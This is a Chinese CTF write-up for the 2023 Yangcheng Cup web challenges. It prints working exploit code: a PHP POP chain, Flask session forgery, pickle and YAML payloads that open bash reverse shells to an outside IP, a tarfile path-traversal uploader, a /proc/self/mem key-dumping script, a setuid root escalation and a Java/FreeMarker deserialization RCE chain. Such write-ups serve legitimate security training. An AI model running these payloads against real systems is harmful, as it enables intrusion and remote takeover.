2023 羊城杯-web wp
队友带飞!线下见!!!
D0n’t pl4y g4m3!!!
确实不是玩游戏捏
p0p.php存在302的跳转,跳转来到hint.zip下载附件
然后尊都假都解密
读道start.sh,看到是php -s启动
php版本7.4.21存在任意文件读取
读取p0p.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php header("HTTP/1.1 302 found"); header("Location:https://passer-by.com/pacman/");
class Pro{ private $exp; private $rce2;
public function __get($name) { return $this->$rce2=$this->exp[$rce2]; } public function __toString() { call_user_func('system', "cat /flag"); } }
class Yang { public function __call($name, $ary) { if ($this->key === true || $this->finish1->name) { if ($this->finish->finish) { call_user_func($this->now[$name], $ary[0]); } } } public function ycb() { $this->now = 0; return $this->finish->finish; } public function __wakeup() { $this->key = True; } } class Cheng { private $finish; public $name; public function __get($value) {
return $this->$value = $this->name[$value]; } } class Bei { public function __destruct() { if ($this->CTF->ycb()) { $this->fine->YCB1($this->rce, $this->rce1); } } public function __wakeup() { $this->key = false; } }
function prohib($a){ $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i"; return preg_replace($filter,'',$a); }
$a = $_POST["CTF"]; if (isset($a)){ unserialize(prohib($a)); } ?>
|
构造payload
通过键值对构造[‘finish’ => true]和[‘YCB1’ => ‘highlight_file’];
过滤调用highlight函数读取
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); class Pro { private $exp; private $rce2; } class Yang { } class Cheng { public $name; }
class Bei { } $cheng = new Cheng; $cheng->name = ['finish' => true]; $payload=new Bei; $payload->CTF=new yang; $payload->CTF->finish=$cheng; $payload->rce='/tmp/catcatf1ag.txt'; $payload->fine=new yang; $payload->fine->finish=$cheng; $payload->fine->key=true; $payload->fine->now=['YCB1' => 'highlight_file']; echo serialize($payload);
|
Serpent
给了源码
直接就是一个session伪造
1 2 3 4 5 6
| (kalikali)-[~] flask_session_cookie manager3.py encode -s 'GWHTnhiv5viLQV'-t "{'Attribute':{'admin':1,'name':'admin','s ecret_key':'GWHTnhiv5ViLQV'}}"
eyJBdHRyaW]1dGUiOnsiYWRtaw4iojEsIm5hbwuioiJhZG1pbiIsInNlY3J1dF9rZxkioiJHV0hUbmhpVjVWaUxRViJ9fQ.ZPLP9w.ga2uHXo QnG2viqwGulwqe-9qrVg
|
成功伪造成admin
访问/ppppppppppick1e
在响应头里面存在源码
经典pick1e 反序列化,ban了R指令,简单的,直接弹shell
1
| p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."
|
弹到vps,上面没有权限读取
find指令发现了python3.8有root权限
直接
1
| python3.8 -c 'import os;os.setuid(0);os.system("/bin/sh")'
|
开启一个有root的sh,这里catflag就好了
ez_yaml
下载源码,进行审计
1 2 3 4 5
| if request.args: username request.args.get('username') with open(f'config/{username}.yaml','rb')as f: Config yaml.load(f.read()) return render_template('admin.html',username="admin",message="success")
|
这里存在yaml反序列化漏洞
但是要求上传恶意的文件到/config目录下面才能执行
但是过滤了文件名字里面的点
注意到上传tar文件会使用如下的代码
1 2 3 4
| if type ='tar': tf = tarfile.TarFile(fiLepath) tf.extractall(extractdir) return tf.getnames()
|
这里有一个cve,存在目录穿越
构造一个恶意的yaml文件
1
| !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/47.120.0.245/3232 0>&1'"]
|
压缩在tar包里面
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import tarfile def changeFileName(filename): filename.name = '../../../../config/666.yaml' return filename
url="http://8000.endpoint-a1f0ca170af74e2bb5dff4ede1dd7227.m.ins.cloud.dasctf.com:81/upload" with tarfile.open("exp.tar", "w") as tar: tar.add('test.yaml', filter=changeFileName) http={"http":"127.0.0.1:8080"} response = requests.post(url=url, files={"file": open("exp.tar", 'rb')},proxies=http) print(response.text)
|
访问src?username=test 触发yaml,获得shell
ArkNights
非预期
下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @app.route('/read') def read(): file = request.args.get('file') fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE) if fileblacklist: return "bad hacker!" start=request.args.get("start","0") end=request.args.get("end","0") if start=="0" and end=="0": return open(file,"rb").read() else: start,end=int(start),int(end) f=open(file,"rb") f.seek(start) data=f.read(end) return data
|
这里过滤了flag,但是可以读取环境变量里面的flag吗
预期
可以看到这段代码
1
| app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
|
这里不是构造了一个随机的数,作为密钥,但是如果想要爆破出密钥,估计下一届比赛开了都出不来
这里可以读取环境变量,里面存在了环境变量,这样就可以得到密钥
需要先读取内存映射/proc/self/maps
来定位key的位置,再利用/read
路由读取key,可以使用如下脚本:
这里使用Tranquility大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests, re, time
url = "http://5000.endpoint-64c8f01c2b234d718b0e628fd789c642.m.ins.cloud.dasctf.com:81" maps_url = f"{url}/read?file=/proc/self/maps" maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0" maps = re.findall(maps_reg, requests.get(maps_url).text) print(maps) for m in maps: start, end = m.split("-")[0], m.split("-")[1] Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16)) read_url = f"{url}/read?file=/proc/self/mem&start={Offset}&end={Length}" print(read_url)
s = requests.get(read_url,timeout=6,stream=True) rt = re.findall("[a-z0-9]{8}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{12}", s.text) time.sleep(1) if rt: print(rt)
|
得到密钥之后就可以伪造,然后rce
Ez_java
遇到java,ok紫砂
首先看到lib里面存在一个freemarker的包
查一下有个模板注入的点
HtmlInvocationHandler方法里面存在一个invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package BOOT-INF.classes.com.ycbjava.Utils;
import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map;
public class HtmlInvocationHandler implements InvocationHandler, Serializable { public Map obj; public HtmlInvocationHandler() {} public HtmlInvocationHandler(Map obj) { this.obj = obj; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result = this.obj.get(method.getName()); return result; } }
|
在这里触发htmlclass的get方法,可以触发文件上传
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { Object obj; try { obj = Boolean.valueOf(HtmlUploadUtil.uploadfile(this.filename, this.content)); } catch (Exception e) { throw new RuntimeException(e); } return obj; }
|
触发文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class HtmlUploadUtil { public static boolean uploadfile(String filename, String content) { if (filename != null && !filename.endsWith(".ftl")) return false; String realPath = "/app/templates/" + filename; if (realPath.contains("../") || realPath.contains("..\\")) return false; try { BufferedWriter writer = new BufferedWriter(new FileWriter(realPath)); writer.write(content); writer.close(); return true; } catch (IOException e) { System.err.println("Error uploading file: " + e.getMessage()); return false; } } }
|
这里找一个freemarker板子打就好了
来自
https://blog.xmcve.com/2023/09/03/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2023-Writeup/#title-6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.ycbjava.Utils;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Base64; import java.util.Map; import javax.management.BadAttributeValueExpException;
public class aaa { public static String string;
public aaa() { }
public static void main(String[] args) throws Exception { HtmlMap htmlMap = new HtmlMap(); htmlMap.filename = "index.ftl"; htmlMap.content = "${name} <#assign ac=springMacroRequestContext.webApplicationContext> <#assign fc=ac.getBean('freeMarkerConfiguration')> <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()> <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)} ${VOID}"; ClassLoader classLoader = htmlMap.getClass().getClassLoader(); Class[] interfaces = htmlMap.getClass().getInterfaces(); HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap); Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null); Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val"); declaredField.setAccessible(true); declaredField.set(badAttributeValueExpException, proxy); serial(badAttributeValueExpException); }
private static void serial(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.flush(); objectOutputStream.close(); string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(string); } }
|
ez_web
一个一个一个啊
ld.so.preload RCTF2022的trick
还没研究
研究完了回来补